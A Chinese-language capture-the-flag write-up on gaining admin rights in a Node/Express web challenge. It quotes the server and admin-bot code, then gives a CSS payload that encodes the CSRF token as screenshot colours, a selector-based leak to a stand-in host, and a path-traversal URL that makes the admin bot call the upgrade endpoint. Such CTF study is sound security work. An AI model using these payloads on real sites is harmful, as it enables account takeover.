我们的目标是获得admin权限
// 升级profile API,只有管理员可用
sessionRouter.get('/api/upgrade/:profileId', requireCSRF, async (req, res, next) => {
if (req.session.profileId !== 0) return res.render('error', { errorMsg: "You aren't a admin"});
let profileIdParam = parseInt(req.params.profileId);
if (profileIdParam === 0) return res.render('error', { errorMsg: "Can't upgrade the admin."});
await db.upgradeProfile(profileIdParam);
console.log("Profile upgraded")
res.send("Profile upgraded.");
});
// 获取flag,只有非管理员且有权限的用户可用
sessionRouter.get('/flag', noAdmin, async (req, res, next) => {
let profileId = parseInt(req.session.profileId);
if(!(await db.hasFlag(profileId))) return res.render('error', {errorMsg: "Sorry you don't have access to the flag."});
res.send(flag);
});
服务器有以下过滤
// profile编辑API,带CSRF校验
sessionRouter.get("/api/profile/:profileId/edit", onlySelf, requireCSRF, noAdmin, async (req, res) => {
let { style, html } = req.query;
let customCSS = style ? String(style) : "";
let customHTML = html ? String(html) : "";
// 禁止css content属性
if (customCSS.match(/content/i)) customCSS = ""; // I don't like css ::before and ::after content
// 禁止闭合style标签
if (customCSS.match(/<\s*\//i)) customCSS = ""; // Don't close the style tag
// 过滤自定义HTML,禁止style标签
customHTML = DOMPurify.sanitize(customHTML, {FORBID_TAGS: ['style']});
if (customHTML.length > 2000 || customCSS.length > 2000) return res.render('error', {errorMsg: "Your html or style is to long."});
// 更新数据库
await db.updateProfile(req.session.profileId, customCSS, customHTML);
res.redirect(`/profile/${req.session.profileId}`);
});
adminbot 存在一个漏洞profileId可以为任意内容
// 管理员访问profile,自动登录并截图
noSessionRouter.get('/admin/:profileId', async (req, res) => {
try {
let profileId = parseInt(req.params.profileId);
// 这里profileId被重新赋值为字符串,可能是为了兼容
profileId = req.params.profileId;
// 启动puppeteer浏览器
const browser = await puppeteer.launch({ executablePath: process.env.BROWSER, args: process.env.BROWSER_ARGS.split(',') });
const page = await browser.newPage();
// 管理员自动登录
await page.goto(`http://localhost:1337/admin/login?adminToken=${adminToken}`);
await new Promise(resolve => setTimeout(resolve, 1000));
// 确保JS执行未被阻塞
await page.waitForFunction('true');
// 访问目标profile页面
await page.goto('http://localhost:1337/profile/' + profileId);
await new Promise(resolve => setTimeout(resolve, 1000));
// 再次确保JS执行
await page.waitForFunction('true');
// 截图
const screenshot = await page.screenshot();
await browser.close();
res.setHeader("Content-Type", "image/png");
res.send(screenshot);
} catch(e) {
console.error(e);
res.send("internal error :( pls report to admins")
}
});
我立刻意识到可能可以控制特定参数造成xss,或削弱xss防御
ai向我描述了一种攻击方式,CSS选择器攻击,但是在本挑战中由于作用域的问题无法使用
<!DOCTYPE html>
<html>
<leak some="some">
<style>
leak[some^="s"] {
background-image: url('https://fake/yes_leak_some_begin_is_s');
}
</style>
将data-csrf转换为颜色,当管理员访问页面并截图时,攻击者从截图中提取颜色值
script{
/* 从script标签的data-csrf属性获取CSRF token值并转为整数 */
--rawToken: attr(data-csrf type(<integer>));
/* 提取token的最低8位(0-255)作为背景色的蓝色通道值 */
--background-blue: mod(var(--rawToken), 256);
/* 移除已提取的最低8位,准备提取下一个字节 */
--temp1: calc((var(--rawToken) - var(--background-blue)) / 256);
/* 提取下一个8位作为背景色的绿色通道值 */
--background-green: mod(var(--temp1), 256);
/* 继续移除已提取的字节,提取下一个字节 */
--temp2: calc((var(--temp1) - var(--background-green)) / 256);
/* 提取背景色的红色通道值 */
--background-red: mod(var(--temp2), 256);
/* 继续移位操作,提取更高位的字节 */
--temp3: calc((var(--temp2) - var(--background-red)) / 256);
/* 提取边框色的蓝色通道值 */
--font-blue: mod(var(--temp3), 256);
/* 继续提取更高位的字节 */
--temp4: calc((var(--temp3) - var(--font-blue)) / 256);
/* 提取边框色的绿色通道值 */
--font-green: mod(var(--temp4), 256);
/* 提取最高字节作为边框色的红色通道 */
--temp5: calc((var(--temp4) - var(--font-green)) / 256);
--font-red: mod(var(--temp5), 256);
/* 浏览器只支持32位整数,第一位是符号位,所以只使用31位 */
/* 将边框色的绿色和红色通道强制设为0,防止溢出 */
--font-green: 0;
--font-red: 0;
/* 根据提取的RGB值构建背景颜色 */
--background-color: color(srgb calc(var(--background-red) / 255) calc(var(--background-green) / 255) calc(var(--background-blue) / 255));
/* 根据提取的RGB值构建边框颜色 */
--font-color: color(srgb calc(var(--font-red) / 255) calc(var(--font-green) / 255) calc(var(--font-blue) / 255));
/* 将提取的颜色应用到元素上,使token可视化 */
background-color: var(--background-color);
border: 20px solid var(--font-color);
/* 设置块元素显示,确保颜色区域足够大以便在截图中识别 */
display: block;
width: 500px;
height: 500px;
}
管理员bot拼接url路径时未过滤
../
这允许我们进行url路径回退
// 管理员访问profile,自动登录并截图
noSessionRouter.get('/admin/:profileId', async (req, res) => {
try {
let profileId = parseInt(req.params.profileId);
// 这里profileId被重新赋值为字符串,可能是为了兼容
profileId = req.params.profileId;
// 启动puppeteer浏览器
const browser = await puppeteer.launch({ executablePath: process.env.BROWSER, args: process.env.BROWSER_ARGS.split(',') });
const page = await browser.newPage();
// 管理员自动登录
await page.goto(`http://localhost:1337/admin/login?adminToken=${adminToken}`);
await new Promise(resolve => setTimeout(resolve, 1000));
// 确保JS执行未被阻塞
await page.waitForFunction('true');
// 访问目标profile页面
await page.goto('http://localhost:1337/profile/' + profileId);
await new Promise(resolve => setTimeout(resolve, 1000));
// 再次确保JS执行
await page.waitForFunction('true');
// 截图
const screenshot = await page.screenshot();
await browser.close();
res.setHeader("Content-Type", "image/png");
res.send(screenshot);
} catch(e) {
console.error(e);
res.send("internal error :( pls report to admins")
}
});
{URL_PREFIX}/admin/{profile_id}%2F..%2F..%2F..%2F..%2F..%2Fapi%2Fupgrade%2F{profile_id}%3FcsrfToken%3D{leaked_csrf}